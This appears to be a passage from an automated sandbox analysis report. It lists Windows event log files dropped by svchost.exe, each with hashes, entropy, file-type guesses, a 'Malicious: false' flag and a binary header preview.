Preview:	ElfChnk.>...............>......................`...98.......................................................................S.>................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................A...............&...i.......~......................**......>........Q.U..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 8448-1024, spot sensor temperature 0.000000, unit celsius, color scheme 1, calibration: offset 0.000000, slope 0.001734
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.494601434214266
Encrypted:	false
SSDEEP:	384:ZhN7s7o787l7r787a7J7z7+7N17g7n767g7gY7hZ7D7k7F7r7wm7NP7Y7+7fa7lX:Z97uCg
MD5:	4510D6B4D4F13962B3F66FA5828E5DFB
SHA1:	CD282AAC16DAED1BA74B87D04B2C2A33F625AEC4
SHA-256:	41B92AE9541B4F6BEE7163735327F3644C068E86E3150251F83591F6B56B8755
SHA-512:	BE32258BCA2B476B3E178418356EC09BFF86B87D19A319C616B37BE28E4B992A503FD75C4114778F987B502453DAC4A2A1775D0C763E74A0BB8037BCF4FCAE13
Malicious:	false
Preview:	ElfChnk.Y.......g.......Y.......g............%...&..Pb......................................................................p...............................................=...........................................................................................................................f...............?...........................m...................M...F...........................................=...............&...............................................................s.......................**......Y........................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1499045494600955
Encrypted:	false
SSDEEP:	384:Dhc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauind:D6Ovc0S5UyEeDgLslstY
MD5:	2045FB0D54CA8F456B545859B9F9B0A8
SHA1:	35854F87588C367DE32A3931E01BC71535E3F400
SHA-256:	E4305D5E1125E185F25AABA6FF9E32DE70B4EFD7264FE5A0C7C2EF3C33989C45
SHA-512:	013CAC4CBF67C9AB5D2A07E771BAF81950E5A256F379E3C2E26CC9E8E47379579470CC6FD56E93B31C4D17935713D1FC6026307427D77CBE9647139E3D73AC47
Malicious:	false
Preview:	ElfChnk.........;...............;...........xk...m...+.....................................................................F.~.................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................6f..w...............................**...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8164696340947971
Encrypted:	false
SSDEEP:	384:jhGuZumutu4uEu5uOuDuyb2uPu1uRu3uGuHu9/u:jr
MD5:	1AB19FA472669F4334C7A9D44E94E1B3
SHA1:	F71C16706CFA9930045C9A888FDB3EF46CACC5BC
SHA-256:	549D89A256E3C71AFCBF551EC9BEDBDB3CF2DC74B4F8C214FDC1D270FB731F6E
SHA-512:	72F1F20CB1F2984B318E4A2AAEE11D573441A77D04C0577D24E19F89E85F1691CB29EF569BD25EBBBD313C7B9DB945DB43D52EEFC2EF33E7BEECDFB8E0BBC404
Malicious:	false
Preview:	ElfChnk...................................... ..x$../..........................................................................<................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................!..................................**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9855903635327656
Encrypted:	false
SSDEEP:	384:cxNhPALAb/A0D6AKAlAfyVAQhAQueA4AIAwA0AYAwA+/AfAjrA3DA:cxN90yzXd
MD5:	7BCA54AC75C7185ADFBB42B1A84F86E3
SHA1:	AD91EE55A6F9F77AD871ACA9A5B59987CA679968
SHA-256:	A43B1365211A968B4EC3F9EC7489D05AD9EED30D3EE0CCD89860D20DFE1914D4
SHA-512:	79A04DCE951528E09F7580E797E38D58CFC556EFEC032C3E68C701D720E01CBDCA3D4F27C309D50B9096570787A0E62B2C69236D148AC9C216CB13AA05E9619F
Malicious:	false
Preview:	ElfChnk.....................................P+...,...0........................................................................9.................B.......................j...=...........................................................................................................................f...............?...........................m...................M...F...........................U.......................%%......&...................................................>...........................E.......**..............o.m...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.165454452307923
Encrypted:	false
SSDEEP:	384:ghVpIcpBUpBxpBapB3pBEpBZpBKpBV1pBApBppBTSpBcu1pBspBlpBABpB7pB0py:gd+uXvB
MD5:	B6B6F199DA64422984403D7374F32528
SHA1:	980D66401DFCCF96ADDDAF22334A5CE735554E7F
SHA-256:	8F65F81EE28F48B5007E04842ACC9DE20794A59E2759C2F35F7C10730A1EF7BF
SHA-512:	5B0EFBF1C57BACF347790EB5915AFCFDDDDAFA7761D94DF1341C4E79F5B16DA3FAC2C9653C3DC41B80E31EA44AE46F4FC95C6EC0FFA0A0D3C05C69CED6955DE4
Malicious:	false
Preview:	ElfChnk.........'...............'...........P.......H:Z.....................................................................gO.................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................f..................................**..............m.................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8519554794255333
Encrypted:	false
SSDEEP:	384:WhtbpwV1pIvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWBZ:WwDoh1VqKVvcVU
MD5:	4140628CA3CEC29C0B506CEEBDF684F6
SHA1:	A2B70496C8E91D8E78AA04976B25D850ABAC6E1C
SHA-256:	1823149759A2F1771ACE7B6BE14A0FEFC6F93DD9F81AC1024E6B41C2CCBFD8B0
SHA-512:	779A04771A8E9B2F501FE1251F0D56C5B5988911F6067082D84FF1DBCF5D9281E32DF6CC2C995843EA1FCED748548DC116706E0F738B6510B47C2B3A0EBAA126
Malicious:	false
Preview:	ElfChnk.\...............\.......................0..../........................................................................v.......................................R...=...........................................................................................................................f...............?...........................m...................M...F............................................;..............&...................................i...................................mS..............*..8...\........=..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1642919553794224
Encrypted:	false
SSDEEP:	384:bhwCCRzCaCkClCzCYC/CyCVCGCMCvCNCACCxC/CLCoiC:bKFb
MD5:	D7EECF043241FDB9486580582E208603
SHA1:	045D5672A8E9884B78CD31C52D372375503CBF4F
SHA-256:	6F3BE76FC00FE21C18A904058F2AF850204488187187C9B8C4BF11EAA03EC6C0
SHA-512:	6738CD1D4081AD78CCC1E3E7AC46A394D9AC32906B4688E34DCCBBA42153FB826484C854F42FFF619DC8D50CAE708585B422F3EAA3A0219AAD19DC0962910125
Malicious:	false
Preview:	ElfChnk.....................................02..h6...u'.....................................................................1..................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................V2............................../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	75320
Entropy (8bit):	4.584741934833894
Encrypted:	false
SSDEEP:	768:ZOIZi8Ns5iLV8gRai8ZijiTEOmGkoeiDpbNQP:n+Jao7mce8pGP
MD5:	E7AEFEC2DD127DC96ECB7999BF7D914A
SHA1:	4D9EF3BDA86F074AB1C29D8D992DB7FDB549F5A7
SHA-256:	93CDEEAFD2278C85738ADFBB4C79D2E19C088749FD249B242C56D93EF8C44653
SHA-512:	C0E2D798045FA2FED7AFF072FC35886383A239354CC1C657D9AD4E576C163E21E57BA27E8E22FC29A1EE7A981A3BCC34EC89FF7F203ABFF020703F2DAC934486
Malicious:	false
Preview:	ElfChnk.........................................h ..E.G.......................................................................F.........................................4...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..0...........\f7...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 15, DIRTY
Category:	dropped
Size (bytes):	79016
Entropy (8bit):	1.819103257557747
Encrypted:	false
SSDEEP:	384:yVhL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUmNUmtUmxUmEgUmHhL6UsE0ZK:CY7Lt+Y7Lt
MD5:	9F8EEE9CE2531266167865A3B4C3F325
SHA1:	1E2B096410C54918215754072990080AE7D6A897
SHA-256:	E0EF1A0A537C1DD50ECC9DF87D52EC03022C2A42B7291A40B854C3AB8689D965
SHA-512:	71AD58A81DB8483D70630FD8FFF2AB9F25E178AB74CEA4977F851C1924BFDFCCB340E789370F5E4AB454D979C406283454BB6DD80AC9BFCF90CA6B8B7E28D902
Malicious:	false
Preview:	ElfFile.....................................................................................................................\>.eElfChnk....................................../..(4...........................................................................z................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&..................................................................................../..................................**..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20418860310301978
Encrypted:	false
SSDEEP:	48:MKxW4LrP+MZQNRBEZWTENO4bpBkoXY/6FgVt:T/VKNVaO80oXY/6Fg
MD5:	3E839D8CF1477668367C0DBC1980300F
SHA1:	C16739D122678228116283ADB81FF343E1529153
SHA-256:	684526EF64389582C8A0F9496FA79BF3523598C891C68F7FDDF6BC32B4E6A646
SHA-512:	3ED69776FA934986595F0666D777AF7B72C19924D34871EACC9EABEF8F1CB732C2BD904858978CE3C2A0CFCA58F819CF3FFAC6FBDACE79722D470B0B1DB3B2B9
Malicious:	false
Preview:	ElfChnk............................................._.f......................................................................QD2................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**...............$2...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.6469884746870727
Encrypted:	false
SSDEEP:	384:/hpivNiGiriPiYiriDfiS83i0iGiTiYiUisiuiZi+iTiciUiQiJiUiBi4i/iAixQ:/G7t8H
MD5:	FC81D9FBA555C6BC7223594B8F6B46DE
SHA1:	971F47CFC0E1DCA462928DA2D8BE2B16D5A0629C
SHA-256:	9933922E09C49C5BA80292C4AED9EC9F457031E90B28B421DFFBD2F1BB840671
SHA-512:	7F2705E7526B49F76C5F2A76A88B83FC10591BAD68B451F5C67F841322076D4B408FC515EA59E0919907C73CBBD149AB5B5EE981083A52C9E90EC9FBFAD5254F
Malicious:	false
Preview:	ElfChnk.y...............y................... Q..(S...b.......................................................................t..............................................=.......................#...................................................................................................f...............?.......................P.......................M...F...............................................................................................................VG..................................**......y..........:............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.402886152057497
Encrypted:	false
SSDEEP:	768:IHa0Nfa3aXaDaLarazaTaLa3a7aLaza3ana/aXajaTa/aLavababa7afaDaTaTaL:WN
MD5:	D661493496BAE821A563CDA5520A66B3
SHA1:	62CE940CC712CF5E58D4934D7437669F28C57962
SHA-256:	CEE4D2A44ED3F35B5942EA69D15FDC3B37A4D08B5EF7D77BEE583669C6BD36C0
SHA-512:	5E1891166E341A4BDF10BE2FBC982FF8963070CA945FD6F736D1007C9C19EE38060ACCA35A64047FE35BBCCED1EC8146D1DACCA5A7B827A91235813AF817E638
Malicious:	false
Preview:	ElfChnk.........@...............@...............`...A.[V....................................................................I..................`...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................9...................................*..H............{...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3132453844344478
Encrypted:	false
SSDEEP:	384:hhaXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJnXJRXJtXJLXJjXJppXJ:hQ0yUkNYwD8imLE5nTtFpf
MD5:	6237EE0458A0478242B975E9BB7AA97D
SHA1:	6B0BDBA887DA21675A63FC73AED995B1BCA3F6B1
SHA-256:	C8E224C54278C206302EAD7011ACC48CAC60E7638E32EE70653190DBC90FA70A
SHA-512:	56C025C971F77AB8E911E0190E8AB5CF533A909C1BF4558876FB2761AAA381CB7D21E44A3273FA4427CB2FF7DEECC15A312DD2A424B96ABDC4886BDF233F30E9
Malicious:	false
Preview:	ElfChnk......................................<...A.........................................................................i,.q................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................<......C...........................**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.325262033408211
Encrypted:	false
SSDEEP:	384:6hYmn9moomUmKBmZOmZmlmmmomRmemtmsmimGmHmEmqmwmHmLmlm9mGmdmpm3mfO:6/fGTDcx
MD5:	D13189B45679E53F5744A4D449F8B00F
SHA1:	ED410CAB42772E329F656B4793B46AC7159CF05B
SHA-256:	BAA80D6A7DC42752766B1862A00009A1D76B57022A4D5A89692DBA2D6866EBA1
SHA-512:	83399CE082F8C6D2917B8363E053C770F2783B3D086F39736919FBFA533DF65993A3B7840A2E1000B08948584CF9750C27961BF8A7BE3A235B5DDD779616013F
Malicious:	false
Preview:	ElfChnk.....................................h.................................................................................-.................X...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................1...........&.......................................................................................**..x...........~_g...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7947046118743749
Encrypted:	false
SSDEEP:	384:jhr2zS2o202AW2D2t2l292l2V2p2d2N2:j8Q
MD5:	55E73A924B170FBFFF862E8E195E839A
SHA1:	3C625D05DFC08AE9DF26AEBAA82D72FC9F28ADB0
SHA-256:	1B36D85AA56A023F6646D6EF28C9DCB5358528274EDCC9B6ED20705E3007E8A2
SHA-512:	E14D32569F37A827EDBD1F02667866431C856D087A396933DE5E9B87943369C4802D220557050C7B0FE9367FBD0683676776E6D3CCBCB290C9F30D86EC529E28
Malicious:	false
Preview:	ElfChnk...................................... ..X"...........................................................................?.................Z...........................=...........................................................................................................................f...............?...........................m...................M...F...............................3...........................&.......................................................................................**................................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	132232
Entropy (8bit):	4.370295335010861
Encrypted:	false
SSDEEP:	384:dORORcxhSRumRtRqR5RVR+rRvR3RFRXRmRbR+RLRlRFRDRiwhR3KR31RIRB8R+Pl:dYxA8nPLGb7xA8nPLGbUd
MD5:	5595337EDCADB2DBD966CAC1D5A1354B
SHA1:	BE7C58E6DF4E2FD116F2215198B77B011D3DC5CB
SHA-256:	FD4CEBD864E570F414B2BE882A446924137C6541A0E8F61AD818F760ACAC4EED
SHA-512:	BFC0AAB2C43AC5454DE39ABB31C601A0C601ED1E30CA697B123344BD7499C60025C813AA84B3F2ADEEE282367D517FC4A2A2D66BDB9223CE1DCD44D93632CDEF
Malicious:	false
Preview:	ElfChnk.....................................X...@....5X.....................................................................7.R.....................y.......x..N...........=............................................y..................}y..3...........................................c......xb..f...h.......lc..?.......................h........c......M.......M...F...9c..............................................Qb..............................................A.......i.......................&............x..*................^s...........x68................................................................<.......T...-.!................@..^s....u...X.hM.9..Y..D...\........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y.......#F.~.J.{..M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y./.O.p.e.r.a.t.i.o.n.a.l......Qb.........................P.r.o.t.e.c.t.i.o.n.M.a.n.a.g.e.m.e.n.t.......w.m.i.p.r.v.s.e...e.x.e...D...".%.P.r.o.g.r.a.m.D.a.t.a.%.\.M.i.c

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.273338343434408
Encrypted:	false
SSDEEP:	384:mhWhjhUh4h4hthXhzh8cghshqh9hihXhMhxhzhwhohGh5h3hShChWhzhLhahYhC1:mBsFpkBjOFK
MD5:	C37372EB51AEDB4552CB839C7294403A
SHA1:	7B7C408D72B084CE36AA6B623AC6B907FD21D569
SHA-256:	C3B5D9D16F88507EF69A9B6FF8581AEBAFF84D254F62CD4E75B6A9C6F93E93C4
SHA-512:	69183719C29FCE5CEDB2634579ABA9FEF835A3CDC7668BB741F9DB36050756C088FD331E898DA8E4850887FD217B939DF1C5A3E7D73D2260CB3AC3570E71718E
Malicious:	false
Preview:	ElfChnk....................................................................................................................x...........................................8...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..............i.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.231195890775603
Encrypted:	false
SSDEEP:	384:ZhOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOVt9VjViVyVKVui:Zyjbn
MD5:	3365A34953FD7B16667108A049B64DA5
SHA1:	C72421A58E063D64072152344B266F8306A78702
SHA-256:	AAEDFFE84B66B602858AF51D5B2EBA7CFC9DB57A4A3DD3240DB44B737B9BBF26
SHA-512:	A5569EDC7516DACCCE7B3135114588E01ED1A77CA95B0F378E389E27AC8999EA71E8AF36FD275EEA7E81987CB9BF14910645DE3DC4FE8E086FF532796DD78AAF
Malicious:	false
Preview:	ElfChnk.........!...............!............7..`8...j......................................................................@..#................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v....................................................3..................................**..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.350713761374238
Encrypted:	false
SSDEEP:	384:dh+BwB5BwBjBwBNSBwBYiBwB+BwBXBwBZabSqBwBlQBwBtfBwBvBwBPnBwBIrBwC:dOqabeGTnbuSxG
MD5:	DDDB6B698BA6FB2ED57468252FC7222B
SHA1:	C3D474F743E406CA375D82D76768F504CF3E09D5
SHA-256:	F21FA2154EB72500790F1F59FEBB757961562D232F206E2F332C4BBBD86D209F
SHA-512:	E97150811CFDF061B2B07CC140D7B08D5B9F11E11AC199029B0A83497EACBA5A78C4B4405F46CB72B9546CA9A7BE1B93CE0BF0B3DF396AD4CE38710EABE86B0D
Malicious:	false
